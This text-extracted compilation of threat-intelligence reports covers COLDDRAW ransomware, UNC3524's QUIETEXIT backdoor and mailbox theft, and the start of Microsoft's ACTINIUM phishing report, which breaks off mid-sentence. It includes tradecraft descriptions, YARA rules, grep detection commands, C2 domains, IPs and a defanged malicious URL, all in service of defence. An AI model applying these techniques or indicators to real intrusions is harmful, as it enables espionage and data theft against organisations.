including samples sharing the same command and control (C&C) server. Payloads distributed through CHANITOR and payloads identified in COLDDRAW ransomware incidents have masqueraded as the same legitimate applications including mDNSResponder and Java. Public reporting has also highlighted some overlaps between COLDDRAW and ZEPPELIN, another ransomware that has reportedly been distributed via CHANITOR. Implications As the number of vulnerabilities identified and publicly disclosed continues to increase year after year, Mandiant has also observed an increase in the use of vulnerabilities as an initial compromise vector by ransomware threat actors including utilizing both zero-day and n-day vulnerabilities in their activity; notable examples include UNC2447 and FIN11. Shifting towards vulnerabilities for initial access could offer threat actors more accurate targeting and higher success rates when compared to malicious email campaigns, which rely more on uncontrollable factors, such as victims interacting with malicious links or documents. The rise in zero-day usage specifically could be reflective of significant funds and resources at the disposal of ransomware operators, which are being directed towards exploit research and development or the purchasing of exploits from trusted brokers. However, threat actors do not have to use zero-days to be effective. A subset of n-day vulnerabilities are often considered attractive targets for threat actors due to their impact of publicly exposed products, ability to facilitate code execution after successful exploitation, and the availability of significant technical details and/or exploit code in public venues. As the number of vulnerabilities publicly disclosed continues to rise, we anticipate threat actors, including ransomware operators, to continue to exploit vulnerabilities in their operations. Acknowledgements With thanks toThomas Pullen and Adrian Hernandez for technical research, and Nick Richard for technical review. MITRE ATT&CK Mandiant has observed COLDDRAW activity involving the following techniques in COLDDRAW intrusions: ATT&CK Tactic Category Techniques Initial Access T1190: Exploit Public-Facing Application Discovery T1010: Application Window Discovery T1012: Query Registry T1016: System Network Configuration Discovery T1018: Remote System Discovery T1033: System Owner/User Discovery T1057: Process Discovery T1082: System Information Discovery T1083: File and Directory Discovery T1087: Account Discovery T1518: Software Discovery T1486: Data Encrypted for Impact T1489: Service Stop Impact Collection T1056.001: Keylogging T1074.002: Remote Data Staging 7/12 Defense Evasion T1027: Obfuscated Files or Information T1055: Process Injection T1055.003: Thread Execution Hijacking T1070.004: File Deletion T1112: Modify Registry T1134: Access Token Manipulation T1134.001: T1140: Persistence Command and Control Resource Development Execution System Checks T1553.002: Code Signing T1564.003: Hidden Window T1574.011: Services Registry Permissions Weakness T1620: Reflective Code Loading T1098: Account Manipulation T1136: Create Account T1136.001: Local Account T1543.003: Windows Service T1071.001: Web Protocols T1071.004: T1095: Non-Application Layer Protocol T1105: Ingress Tool Transfer T1573.002: Asymmetric Cryptography T1583.003: Virtual Private Server T1587.003: Digital Certificates T1588.003: Code Signing Certificates T1608.001: Upload Malware T1608.002: Upload Tool T1608.003: Install Digital Certificate T1608.005: Link Target T1053: Scheduled Task/Job T1059: Command and Scripting Interpreter T1129: Credential Access Deobfuscate/Decode Files or Information T1497.001: T1059.001: Lateral Movement Token Impersonation/Theft PowerShell Shared Modules T1569.002: Service Execution T1021.001: Remote Desktop Protocol T1021.004: T1555.003: Credentials from Web Browsers Table 2: MITRE ATT&CK Framework 8/12 Mandiant Security Validation In addition to previously released Actions, the Mandiant Security Validation (Validation) Behavior Research Team (BRT) has created VHR20220223, which will also be released today, for tactics associated with UNC2596. A102-561, Malicious File Transfer - TERMITE, Download, Variant #3 A102-560, Malicious File Transfer - TERMITE, Download, Variant #4 A102-559, Command and Control - TERMITE, DNS Query, Variant #1 A102-558, Malicious File Transfer - WEDGECUT, Download, Variant #1 A102-557, Malicious File Transfer - TERMITE, Download, Variant #2 A102-556, Malicious File Transfer - TERMITE, Download, Variant #1 A102-555, Malicious File Transfer - BURNTCIGAR, Download, Variant #4 A102-554, Malicious File Transfer - BURNTCIGAR, Download, Variant #3 A102-553, Malicious File Transfer - BURNTCIGAR, Download, Variant #2 A102-552, Malicious File Transfer - BURNTCIGAR, Download, Variant #1 A102-572, Malicious File Transfer - BUGHATCH, Download, Variant #4 A102-551, Malicious File Transfer - BUGHATCH, Download, Variant #3 A102-550, Malicious File Transfer - BUGHATCH, Download, Variant #2 A102-549, Malicious File Transfer - BUGHATCH, Download, Variant #1 A101-830 Command and Control - COLDDRAW, DNS Query A101-831 Malicious File Transfer - COLDDRAW, Download, Variant #2 A101-832 Malicious File Transfer - COLDDRAW, Download, Variant #3 A101-833 Malicious File Transfer - COLDDRAW, Download, Variant #4 A101-834 Malicious File Transfer - COLDDRAW, Download, Variant #5 A101-835 Malicious File Transfer - COLDDRAW, Download, Variant #6 A104-800 Protected Theater - COLDDRAW, Execution A151-079 Malicious File Transfer - COLDDRAW, Download, Variant #1 A100-308 Malicious File Transfer - CHANITOR, Download A100-309 Command and Control - CHANITOR, Post System Info A150-008 Command and Control - CHANITOR, Check-in and Response A150-047 Malicious File Transfer - CHANITOR, Download, Variant #2 A150-306 Malicious File Transfer - CHANITOR, Download, Variant #1 YARA Signatures The following YARA rules are not intended to be used on production systems or to inform blocking rules without first being validated through an organization's own internal testing processes to ensure appropriate performance and limit the risk of false positives. These rules are intended to serve as a starting point for hunting efforts to identify samples, however, they may need adjustment over time if the malware family changes. 9/12 rule TERMITE meta: author = "Mandiant" strings: $sb1 = { E8 [4] 3D 5? E3 B6 00 7? } $sb2 = { 6B ?? 0A [3] 83 E9 30 } $si1 = "VirtualAlloc" fullword $ss1 = "AUTO" fullword condition: (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and all of them rule FDFWJTORFQVNXQHFAH meta: author = "Mandiant" description = "Detecting packer or cert." md5 = "939ab3c9a4f8eab524053e5c98d39ec9" strings: $cert = "FDFWJTORFQVNXQHFAH" $s1 = "VLstuTmAlanc" $s2 = { 54 68 F5 73 20 70 00 00 00 00 00 00 00 BE 66 67 72 BD 68 20 63 BD 69 6E 6F C0 1F 62 65 EC 72 75 6E FC 6D 6E 20 50 46 53 20 B9 66 64 65 } $s3 = "ViGuua!Gre" $s4 = "6seaIdFiYdA" condition: (uint16(0) == 0x5A4D) and filesize < 2MB and ( $cert or 2 of ($s*) ) Indicators MALWARE FAMILY Indicator TERMITE/BEACON irrislaha[.]com BEACON leptengthinete[.]com BEACON siagevewilin[.]com BEACON surnbuithe[.]com TERMITE 64.235.39[.]82 BEACON 64.52.169[.]174 10/12 Suspect certificate 144.172.83[.]13 BEACON 190.114.254[.]116 BEACON 185.153.199[.]164 TERMITE 45.32.229[.]66 BEACON 23.227.197[.]229 Packer imphash 2322896bcde6c37bf4a87361b576de02 Packer cert CN FDFWJTORFQVNXQHFAH Packer cert md5 5c00466f092b19c85873848dcd472d6f MALWARE FAMILY SHA1 SHA256 BUGHATCH 72a60d799ae9e4f0a3443a2f96fb4896 a304497ff076348e098310f530779002a326c264 6d5ca42906c60caa7d3e0564b0 BUGHATCH bda33efc53c202c99c1e5afb3a13b30c e6ea0765b9a8cd255d587b92b2a80f96fab95f15 101b3147d404150b3c0c882ab86 BUGHATCH e78ed117f74fd7441cadc3ea18814b3e 6da8a4a32a4410742f626376cbec38986d307d5a 9ab05651daf9e8bf3c84b14613cd BUGHATCH ba83831700a73661f99d38d7505b5646 209ffbc8ba1e93167bca9b67e0ad3561c065595d 79d6b1b6b1ecb446b0f49772bf4 WEDGECUT c47372b368c0039a9085e2ed437ec720 4f6ee84f59984ff11147bfff67ab6e40cd7c8525 c443df1ddf8fd8a47af6fbfd0b597 BURNTCIGAR c5e3b725080712c175840c59a37a5daa f347fa07f13c3809e4d2d390e1d16ff91f6dc959 f68cea99e6887739cd82865f9b97 BURNTCIGAR c9d3b29e0b7662dafc6a1839ad54a6fb d0bbbc1866062f9a772776be6b7ef135d6c5e002 4306c5d152cdd86f3506f91633ef BURNTCIGAR 9ca2579117916ded7ac8272b7b47bb98 d1ef60835127e35154a04d0c7f65beee6e790e44 aeb044d310801d546d10b24716 BURNTCIGAR (launcher) 26c09228e76764a2002ba643afeb9415 8247880a1bad73caaeed25f670fc3dad1be0954a 6ce206a1e1224e0a9d296d5fabff TERMITE 98a2e05f4aa648b02540d2e17946da7e e328b5e26a04a13e80e60b4a0405512c99ddb74e 811bb84e1e9f59279f844a040bf6 TERMITE ddf2e657a89ae38f634c4a271345808b b73763c98523e544c0ce0da7db7142f1e039c0a2 d1e14b5f02fb020db4e215cb5c3a TERMITE 95820d16da2d9c4fbb07130639be2143 0a3ac9b182d8f14d9bc368d0c923270eed29b950 a722615c2ee101cde88c7f44fb2 TERMITE 896376ce1bbca1ed73a70341896023e0 f1be87ee03a2fb59d51cb4ba1fe2ece8ddfb5192 671e049f3e2f6b7851ca4e8eed2 TERMITE f51c4b21445a0ece50b1f920648ed726 7c88207ff1afe8674ba32bc20b597d833d8b594a ea5de5558396f66af8382afd98f2 TERMITE 7d4307d310ad151359b025fc5a7fca1a 49cfcecd50fcfcd3961b9d3f8fa896212b7a9527 ad12f38308a85c8792f2f7e1e46a TERMITE b62eec21d9443f8f66b87dd92ba34e85 172f28f61a35716762169d63f207071adf21a54c 9cec82bebe1637c50877ff11de5b TERMITE df0e5d91d0986fde9bc02db38eef5010 922ca12c04b064b35fd01daadf5266b8a2764c32 6cd25067316f8fe013792697f2f5 11/12 TERMITE 46b977a0838f4317425df0f2e1076451 39381976485fbe4719e4585f082a5252feedbcfd 13d333d5e3c1dd6c33dfa8fc76de TERMITE 8c4341a4bde2b6faa76405f57e00fc48 4f3a1e917f67293578b7e823bca35c4dff923386 df89d3d1f795a77eefc14f035681 TERMITE d5679f47d22c7c0647038ce6f54352e4 d9030bdbd0cb451788eaa176a032aa83cf7604c0 728a2d5dd2bf9c707431ff68e94c TERMITE e77af544cc9d163d81e78b3c4da2eee5 3ead9dd8c31d8cfb6cc53e96ec37bdcfdbbcce78 7f357ab4ac225e14a6967f89f209 TERMITE 98b2fff45a9474d61c1bd71b7a60712b 3b0ec4b6ad3cf558cac6b2c6e7d8024c438cfbc5 7b2144f2b5d722a1a8a0c47a43e TERMITE 9a0a2f1dc7686983843ee38d3cab448f 363dc3cf956ab2a7188cf0e44bffd9fba766097d 03249bf622c3ae1dbed8b14cfaa8 TERMITE fb6da2aa2aca0ce2e0af22b2c3ba2668 55b89bad1765bbf97158070fd5cbf9ea7d449e2a 1842ddc55b4bf9c71606451d404 COLDDRAW 3e96efd37777cc01cabb3401485297aa f008e568c313b6f41406658a77313f89df07017e bcf0f202db47ca671ed614604079 COLDDRAW 73c0f0904105b4c220c25f64506ea986 7ef1f5946b25f56a97e824602c58076e4b1c10b6 e35593fab92606448ac4cac6cd2 COLDDRAW 20a04e7fc12259dfd4172f5232ed5ccf 82f194e6baeef6eefb42f0685c49c1e6143ec850 482b160ee2e8d94fa6e4749f77e Exchange Payload test.hta becdcaa3a4d933c13427bb40f9c1cfbb ee883ec4b7b7c1eba7200ee2f9f3678f67257217 6c4b57fc995a037a0d60166dead BEACON c0e88dee5427aae6ce628b48a6d310a7 fd4c478f1561db6a9a0d7753741486b9075986d0 44a4ce7b5d2e154ec802a67ef14 BEACON bb2a2818e2e4514507462aadea01b3d7 8fec34209f79debcd9c03e6a3015a8e3d26336bb 6e66caaa12c3cafd1dc3f8c63053 BEACON 48f8cd5e42cdf06d5a520ab66a5ae576 0d0ac944b9c4589a998b5032d208a16e63db5817 d8df1a4d59a0382b367fd6936cce 12/12 UNC3524: Eye Spy on Your Email mandiant.com/resources/unc3524-eye-spy-email Since December 2019, Mandiant has observed advanced threat actors increase their investment in tools to facilitate bulk email collection from victim environments, especially as it relates to their support of suspected espionage objectives. Email messages and their attachments offer a rich source of information about an organization, stored in a centralized location for threat actors to collect. Most email systems, whether onpremises or in the cloud, offer programmatic methods to search and access email data across an entire organization, such as eDiscovery and the Graph API. Mandiant has observed threat actors use these same tools to support their own collection requirements and to target the mailboxes of individuals in victim organizations. In this blog post, we introduce UNC3524, a newly discovered suspected espionage threat actor that, to date, heavily targets the emails of employees that focus on corporate development, mergers and acquisitions, and large corporate transactions. On the surface, their targeting of individuals involved in corporate transactions suggests a financial motivation; however, their ability to remain undetected for an order of magnitude longer than the average dwell time of 21 days in 2021, as reported in M-Trends 2022, suggests an espionage mandate. Part of the group s success at achieving such a long dwell time can be credited to their choice to install backdoors on appliances within victim environments that do not support security tools, such as anti-virus or endpoint protection. The high level of operational security, low malware footprint, adept evasive skills, and a large Internet of Things (IoT) device botnet set this group apart and emphasize the advanced Advanced Persistent Threat. UNC3524 also takes persistence seriously. Each time a victim environment removed their access, the group wasted no time re-compromising the environment with a variety of mechanisms, immediately restarting their data theft campaign. We are sharing the tools, tactics, and procedures used by UNC3524 to help organizations hunt for and protect against their operations. Attack Lifecycle Initial Compromise and Maintain Presence After gaining initial access by unknown means, UNC3524 deployed a novel backdoor tracked by Mandiant as QUIETEXIT, which is based on the open-source Dropbear SSH client-server software. For their long-haul remote access, UNC3524 opted to deploy QUIETEXIT on opaque network appliances within the victim environment; think backdoors on SAN arrays, load balancers, and wireless access point controllers. These kinds of devices don t support antivirus or endpoint detection and response tools (EDRs), subsequently leaving the underlying operating systems to vendors to manage. These appliances are often running older versions of BSD or CentOS and would require considerable planning to compile functional malware for them. By targeting trusted systems within victim environments that do not support any type of security tooling, UNC3524 was able to remain undetected in victim environments for at least 18 months. QUIETEXIT works as if the traditional client-server roles in an SSH connection were reversed. Once the client, running on a compromised system, establishes a TCP connection to a server, it performs the SSH server role. The QUIETEXIT component running on the threat actor infrastructure initiates the SSH connection and sends a password. Once the backdoor establishes a connection, the threat actor can use any of the options available to an SSH client, including proxying traffic via SOCKS. QUIETEXIT has no persistence mechanism; however, we have observed UNC3524 install a run command (rc) as well as hijack legitimate application-specific startup scripts to enable the backdoor to execute on system startup. Figure 1: How QUIETEXIT works with IoT devices On startup, QUIETEXIT attempts to change its name to cron, but the malware author did not implement this correctly, so it fails. During our incident response investigations, we recovered QUIETEXIT samples that were renamed to blend in with other legitimate files on the file system. In one case with an infected node of a NAS array, UNC3524 named the binary to blend in with a suite of scripts used to mount various filesystems to the NAS. When run with command line arguments -X -p the malware connects to a hard-coded command and control (C2) address on the specific port. If this fails, it will attempt to connect to a second hard coded C2 if one is configured. The user can also specify a hostname or IP address on the command line in the -p argument as well, e.g. -X -p : .The -X command line argument is case sensitive. If the lower-case x option is used, then the malware will only attempt to connect to the C2 server once. If the upper-case X option is used, then the malware will sleep for a random number of minutes between a hard-coded time range and fork to reattempt the connection. It re-attempts the connection regardless of whether a connection has already been established. In our investigations we observed UNC3524 use C2 domains that intended to blend in with legitimate traffic originating from the infected appliances. Using the example of an infected load balancer, the C2 domains contained strings that could plausibly relate to the device vendor and branded operating system name. This level of planning demonstrates that UNC3524 understands incident response processes and tried to make their C2 traffic appear as legitimate to anyone that might scroll through DNS or session logs. All QUIETEXIT C2 domains that Mandiant observed used Dynamic DNS providers. Dynamic DNS allows for threat actors to update the DNS records for domains in a near seamless fashion. When the C2s where inactive, the threat actor had the domains resolve to 127.0.0.1. However, occasionally the port numbers would change or VPS infrastructure would be used rather than compromised camera botnet. We suspected that when the threat actor experienced issues accessing a victim, they would troubleshoot using new infrastructure or different ports. In some cases, the threat actor deployed a secondary backdoor as a means of alternate access into victim environments. This alternate access was a REGEORG web shell previously placed on a DMZ web server. REGEORG is a web shell that creates a SOCKS proxy, keeping with UNC3524 s preference for tunneling malware. Once inside the victim environment, the threat actor spent time to identify web servers in the victim environment and ensure they found one that was Internet accessible before copying REGEORG to it. They also took care to name the file so that it blended in with the application running on the compromised server. Mandiant also observed instances where UNC3542 used timestomping to alter the Standard Information timestamps of the REGEORG web shell to match other files in the same directory. UNC3542 only used these web shells when their QUIETEXIT backdoors stopped functioning and only to re-establish QUIETEXIT on another system in the network. Rather than use the public version of REGEORG published by Sensepost, UNC3542 used a still public but little-known version of the web shell that is heavily obfuscated. This allowed them to bypass common signature-based detections for REGEORG. Move Laterally Once UNC3524 established a foothold in the network they demonstrated a very low malware footprint and instead relied on built-in Windows protocols. During our incident response investigations, we traced most accesses to a victim appliance infected with QUIETEXIT. QUIETEXIT supports the full functionality of SSH, and our observation is consistent with UNC3524 using it to establish a SOCKS tunnel into the victim environments. By standing up a SOCKS tunnel, the threat actor effectively plugs in their machine to an ethernet jack within the victim network. By tunneling over SOCKS, the threat actor can execute tools to steal data from their own computer, leaving no traces of the tooling itself on victim computers. Figure 2: Tunneling through QUIETEXIT To perform lateral movement to systems of interest, UNC3524 used a customized version of Impacket s WMIEXEC. WMIEXEC uses Windows Management Instrumentation to establish a semi-interactive shell on a remote host. The utility provides a semi-interactive shell by writing command outputs to a file on the remote host and then printing the output to the terminal. The default Impacket version uses a hardcoded file path and filename structure for these output files, providing a detection opportunity. Mandiant has observed UNC3524 modifying the hardcoded file path (\\127.0.0.1\ADMIN$\debug\DEBUG.LOG) to evade basic detections for filenames such as Impacket s default double underscore files. We also observed the threat actor using the built-in reg save command to save registry hives and extract LSA secrets offline. Complete Mission Once UNC3524 successfully obtained privileged credentials to the victim s mail environment, they began making Exchange Web Services (EWS) API requests to either the on-premises Microsoft Exchange or Microsoft 365 Exchange Online environment. In each of the UNC3524 victim environments, the threat actor would target a subset of mailboxes, focusing their attention on executive teams and employees that work in corporate development, mergers and acquisitions, or IT security staff. It s likely that the threat actor was targeting the IT security team as a method to determine if their operation had been detected. The methods that UNC3524 used to authenticate to the Exchange infrastructure evolved throughout the course of the intrusions; this may be a result of them periodically losing access due to the natural changes in corporate infrastructure or simply updating their tactics. They authenticated to Exchange using the username and password of targeted accounts, using accounts holding ApplicationImpersonation rights, or using Service Principal credentials. Each of these methods, their detections, and configuration recommendations can be found at Mandiant's UNC2452 Microsoft 365 Hardening Guide. Once authenticated to the exchange infrastructure, UNC3524 made a series of EWS API requests to extract mail items from the target mailbox. For each mailbox, the threat actor made a series of GetFolder and FindFolder requests that returned data describing the mailbox, such as the number of unread messages and sub-folders within the specified folder. target@victimorg.com Default Figure 3: Sample EWS GetFolder request After the enumeration of the mailbox structure, the threat actor issued a FindItem request with a Query Filter that selected all messages from a specific folder with a DateTimeCreated greater than a specific date. The date in the filter corresponded to the last time the threat actor accessed the mailbox. This meant that the threat actor would acquire all newly created items in the mailbox since the last time they had extracted data. This follows an approach that Mandiant has previously observed with APT29. Rather than target a mailbox using specific keywords, the threat actor instead extracted the entire contents over a particular date range. target@victimorg.com IdOnly Figure 4: Sample EWS FindItem request Finally, the threat actor iterated through each message identifier returned in the FindItem response and made a GetItem request. The threat actor set the IncludeMimeContent parameter to true for the request, which resulted in Exchange returning the message in MIME format. This is important because the MIME message includes both the message body and any attachments. It is worth noting that if the messages were encrypted using PGP, SMIME, Office 365 Message Encryption (OME), or other encryption technology, then the GetItem response will only contain the ciphertext or in the case of OME, a link to authenticate and view the real message. Default true Figure 5: Sample EWS GetItem request Operational Security and Infrastructure Throughout their operations, the threat actor demonstrated sophisticated operational security that we see only a small number of threat actors demonstrate. The threat actor evaded detection by operating from devices in the victim environment s blind spots, including servers running uncommon versions of Linux and network appliances running opaque OSes. These devices and appliances were running versions of operating systems that were unsupported by agent-based security tools, and often had an expected level of network traffic that allowed the attackers to blend in. The threat actor s use of the QUIETEXIT tunneler allowed them to largely live off the land, without the need to bring in additional tools, further reducing the opportunity for detection. This allowed UNC3524 to remain undetected in victim environments for, in some cases, upwards of 18 months. The C2 systems that Mandiant identified were primarily legacy conference room camera systems sold by LifeSize, Inc. and in one instance, a DLink IP camera. These camera systems appeared to be infected, likely with the server component of QUIETEXIT. These cameras were directly Internet exposed, possibly through an improper UPnP configuration, and may have been running older firmware. Mandiant suspects that default credentials, rather than an exploit, were the likely mechanism used to compromise these devices and form the IoT botnet used by UNC3524. Similar to the use of embedded network devices, UNC3524 can avoid detection by operating from compromised infrastructure connected directly to the public Internet such as IP cameras where typical antivirus and security monitoring may be absent. Detection UNC3524 s use of compromised appliances makes host-based hunting and detection extremely difficult. The best opportunity for detection remains in network-based logging, specifically monitoring traffic at the layer 7 level. Mandiant recommends hunting for traffic tagged as the application egressing environments over ports other than 22. This traffic should be relatively small, and any findings should be investigated. Organizations can also look for outbound SSH traffic originating from IP addresses that are unknown or not in asset management systems. These source systems are more likely to be appliances that aren t centrally managed. Finally, large volumes of network traffic originating from the management interfaces of appliances such as NAS arrays and load balancers should be investigated as suspicious as well. UNC3524 targets opaque network appliances because they are often the most unsecure and unmonitored systems in a victim environment. Organizations should take steps to inventory their devices that are on the network and do not support monitoring tools. Each device likely has vendor-specific hardening actions to take to ensure that the proper logging is enabled, and logs are forwarded to a central repository. Organizations can also take steps to use network access controls to limit or completely restrict egress traffic from these devices. For host-based hunting, Mandiant recommends hunting for QUIETEXIT on devices using the provided grep commands. Most appliances that provide shell access should have the grep binary available. Find QUIETEXIT hard-coded byte string using grep: grep "\x48\x8b\x3c\xd3\x4c\x89\xe1\xf2\xae" -rs / Find QUIETEXIT by looking for the hard-coded password value: grep '\xDD\xE5\xD5\x97\x20\x53\x27\xBF\xF0\xA2\xBA\xCD\x96\x35\x9A\xAD\x1C\x75\xEB\x47' -rs / Find QUIETEXIT persistence mechanisms in the appliance s rc.local directory by looking for the command line arguments: grep -e " -[Xx] -p [[:digit:]{2,6}]" -rs /etc Remediation and Hardening Mandiant has published remediation and hardening strategies for Microsoft 365. Attribution The methodologies Mandiant observed during UNC3524 intrusions overlapped with techniques used by multiple Russia-based espionage threat actors including both EWS impersonation and SPN credential addition. Mandiant has only observed APT29 performing SPN credential addition; however, this technique has been reported on publicly since early 2019. The NSA has previously reported automated password spraying using Kubernetes, Exchange Exploitation, and REGEORG as associated with APT28. While the activity reported by the NSA used TOR and commercial VPNs, UNC3524 primarily used compromised internet facing devices. One interesting aspect of UNC3524 s use of REGEORG was that it matched identically with the version publicly reported by the NSA as used by APT28. At the time of writing, Mandiant cannot conclusively link UNC3524 to an existing group currently tracked by Mandiant. Acknowledgements We would like to thank our incident response consultants, Managed Defense responders, and FLARE reverse engineers who enabled this research. Thanks to Kirstie Failey, Jake Nicastro, John Wolfram, Sarah Hawley and Nick Richard for technical review, and Ryan Hall and Alyssa Rahman for research contributions. MITRE ATT&CK Mandiant has observed UNC3524 use the following techniques. ATT&CK Tactic Category Techniques Defense Evasion T1027: Obfuscated Files or Information Discovery T1012: Query Registry T1016: System Network Configuration Discovery T1049: System Network Connections Discovery T1057: Process Discovery T1518: Software Discovery Credential Access T1003.004: LSA Secrets T1003.006: DCSync T1111: Two-Factor Authentication Interception Collection T1114: Email Collection T1114.002: Remote Email Collection Lateral Movement T1021.004: SSH Persistence T1037.004: RC Scripts T1098.001: Additional Cloud Credentials T1505.003: Web Shell Command and Control T1071: Application Layer Protocol T1090.003: Multi-hop Proxy T1095: Non-Application Layer Protocol T1572: Protocol Tunneling T1573.002: Asymmetric Cryptography Resource Development T1583.003: Virtual Private Server T1584: Compromise Infrastructure T1608.003: Install Digital Certificate Execution T1059.001: PowerShell T1059.003: Windows Command Shell YARA Signatures Note: These rules are designed to broadly capture suspicious files and are not designed to detect a particular malware or threat. rule QUIETEXIT_strings meta: author = "Mandiant" date_created = "2022-01-13" date_modified = "2022-01-13" rev = 1 strings: $s1 = "auth-agent@openssh.com" $s2 = "auth-%.8x-%d" $s3 = "Child connection from %s:%s" $s4 = "Compiled without normal mode, can't run without -i" $s5 = "cancel-tcpip-forward" $s6 = "dropbear_prng" $s7 = "cron" condition: uint32be(0) == 0x7F454C46 and filesize < 2MB and all of them rule REGEORG_Tuneller_generic meta: author = "Mandiant" date_created = "2021-12-20" date_modified = "2021-12-20" md5 = "ba22992ce835dadcd06bff4ab7b162f9" strings: $s1 = "System.Net.IPEndPoint" $s2 = "Response.AddHeader" $s3 = "Request.InputStream.Read" $s4 = "Request.Headers.Get" $s5 = "Response.Write" $s6 = "System.Buffer.BlockCopy" $s7 = "Response.BinaryWrite" $s8 = "SocketException soex" condition: filesize < 1MB and 7 of them rule UNC3524_sha1 meta: author = "Mandiant" date_created = "2022-01-19" date_modified = "2022-01-19" strings: $h1 = { DD E5 D5 97 20 53 27 BF F0 A2 BA CD 96 35 9A AD 1C 75 EB 47 } condition: uint32be(0) == 0x7F454C46 and filesize < 10MB and all of them Indicators MALWARE FAMILY Indicator QUIETEXIT Dynamic DNS cloudns.asia dynu.net mywire.org webredirect.org MALWARE FAMILY SHA1 SHA256 REGEORG GitHub version ba22992ce835dadcd06bff4ab7b162f9 3d4dcc859c6ca7e5b36483ad84c9ceef34973f9a 7b5e3c1c06d82b3e7309C258dfbd4bfcd ACTINIUM targets Ukrainian organizations microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations February 4, 2022 The Microsoft Threat Intelligence Center (MSTIC) is sharing information on a threat group named ACTINIUM, which has been operational for almost a decade and has consistently pursued access to organizations in Ukraine or entities related to Ukrainian affairs. MSTIC previously tracked ACTINIUM activity as DEV-0157, and this group is also referred to publicly as Gamaredon. In the last six months, MSTIC has observed ACTINIUM targeting organizations in Ukraine spanning government, military, non-government organizations (NGO), judiciary, law enforcement, and non-profit, with the primary intent of exfiltrating sensitive information, maintaining access, and using acquired access to move laterally into related organizations. MSTIC has observed ACTINIUM operating out of Crimea with objectives consistent with cyber espionage. The Ukrainian government has publicly attributed this group to the Russian Federal Security Service (FSB). Since October 2021, ACTINIUM has targeted or compromised accounts at organizations critical to emergency response and ensuring the security of Ukrainian territory, as well as organizations that would be involved in coordinating the distribution of international and humanitarian aid to Ukraine in a crisis. As with any observed nation-state actor activity, Microsoft directly notifies customers of online services that have been targeted or compromised, providing them with the information they need to secure their accounts. Microsoft has shared this information with Ukrainian authorities. ACTINIUM represents a unique set of activities separate from the destructive malware attacks by DEV-0586 described in an earlier blog post. As of this writing, MSTIC has not found any indicators correlating these two actors or their operations. The observed ACTINIUM activities detailed in this blog have been limited only to organizations within Ukraine. We have not seen this actor using any unpatched vulnerabilities in Microsoft products or services. Given the geopolitical situation and the scale of observed activity, MSTIC is prioritizing sharing our knowledge of ACTINIUM tactics, techniques, and procedures (TTPs), along with a significant number of indicators of compromise (IOCs) from our extensive analysis. Our goal is to give organizations the latest intelligence to guide investigations into potential attacks and information to implement proactive protections against future attempts. Activity description Microsoft has observed a repeated set of techniques and procedures throughout operations by ACTINIUM, with several significant elements that we believe are important to understanding these activities. It s important to note that ACTINIUM tactics are constantly evolving; the activities described in this blog are some of the most consistent and notable observations by Microsoft, but these are not all-encompassing of actor TTPs. Phishing using remote templates One of the access vectors most used by ACTINIUM is spear-phishing emails with malicious macro attachments that employ remote templates. Remote template injection refers to the method of causing a document to load a remote document template that contains the malicious code, in this case, macros. Delivery using remote template injection ensures that malicious content is only loaded when required (for example, when the user opens the document). This helps attackers to evade static detections, for example, by systems that scan attachments for malicious content. Having the malicious macro hosted remotely also allows an attacker to control when and how the malicious component is delivered, further evading detection by preventing automated systems from obtaining and analyzing the malicious component. MSTIC has observed a range of email phishing lures used by ACTINIUM, including those that impersonate and masquerade as legitimate organizations, using benign attachments to establish trust and familiarity with the target. 1/18 This phishing email from ACTINIUM uses the sender domain who-int[.]info to masquerade as the legitimate who.int domain, assessed to be impersonating the World Health Organization Within the body of phishing messages, ACTINIUM has been observed to insert web bugs, which are small external image references that enable the actor to track when a message has been opened and rendered. These web bugs are not malicious by themselves but may indicate that the email is intended for malicious use. Here s an example of a web bug used by ACTINIUM: ACTINIUM s lure documents appear to be legitimate and vary in style and content. For example, the lure document below included a remote template at the following URL: hxxp://usa-national[.]info/USA/sensible[.]dot. While a domain was used in this instance, links with static IP addresses have also been used. 2/18 This URL and the related lure .dot document from ACTINIUM is responsible for loading the malicious remote template. This document uses text from a legitimate who.int situational COVID-19 update report published on July 27, 2021. ACTINIUM phishing attachments contain a first-stage payload that downloads and executes further payloads. There may be multiple subsequent staging scripts before a more fully-featured malicious capability is deployed to a compromised device. s unclear why there are often multiple stages; one hypothesis is that these staging VBScripts are easier to modify to incorporate new obfuscation or command-and-control (C2) changes. It s also possible that ACTINIUM deploys these scripts to provide some assurance that detection systems are less likely to detect their main capabilities. These initial staging capabilities vary; examples include heavily obfuscated VBScripts, obfuscated PowerShell commands, self-extracting archives, LNK files, or a combination of these. ACTINIUM frequently relies on scheduled tasks in these scripts to maintain persistence. More information on some of the capabilities analyzed by MSTIC is included in the Malware and capabilities section. ACTINIUM operational infrastructure and wordlists MSTIC assesses that ACTINIUM maintains a large quantity and degree of variation of its operational infrastructure to evade detection. ACTINIUM s operational infrastructure consists of many domains and hosts to facilitate payload staging and C2. In a single 30-day snapshot, MSTIC saw ACTINIUM utilizing over 25 new unique domains and over 80 unique IP addresses, demonstrating that they frequently modify or alter their infrastructure. ACTINIUM domain name DNS records frequently change, perhaps not frequently enough to be considered fast-flux , but most DNS records for the domains change once a day on average. More than 70% of the recent 200+ ACTINIUM IP addresses are owned by ASN 197695 REG.RU. Most ACTINIUM domains are also registered through the same owning company registrar (REG.RU). It is unclear why ACTINIUM appears to favor these legitimate providers. Malware authored by ACTINIUM often utilizes randomized subdomains for C2. These subdomains have included the use of an apparent English wordlist in their generation procedure, making the domains appear more legitimate while frustrating network defense tools that may rely on domain name blocks. A list of the most common words MSTIC has observed is 3/18 included in the IOCs below. Within the last 30 days, MSTIC has observed randomized schemes being used increasingly for subdomain patterns instead of wordlists, indicating a possible shift in methodology. One example of this randomization is the effect of their PowerShell stager using the Get-Random cmdlet: Examples of ACTINIUM subdomains encompassing both wordlists and randomized subdomains include: Jealousy[.]Jonas[.]artisola[.]ru Deliberate[.]brontaga[.]ru registration83[.]alteration[.]luck[.]mirotas[.]ru 001912184[.]retarus[.]ru 637753599292688334[.]jolotras[.]ru While the fast-flux nature of ACTINIUM infrastructure means that IP addresses are less useful IOCs, there is a clear preference for it on a specific ASN. Such preference may help defenders determine whether a domain may be more likely to be owned by ACTINIUM. A list of more recent IP addresses is included in the IOCs below. ACTINIUM appears to employ this same wordlist to obfuscate other aspects of their attacks. For example, as previously mentioned, ACTINIUM often maintains persistence by using scheduled tasks to run their malicious payloads. The payloads are often named with seemingly random words and phrases with valid (but irrelevant) extensions. The files are then executed using scripts with the /E:VBScript 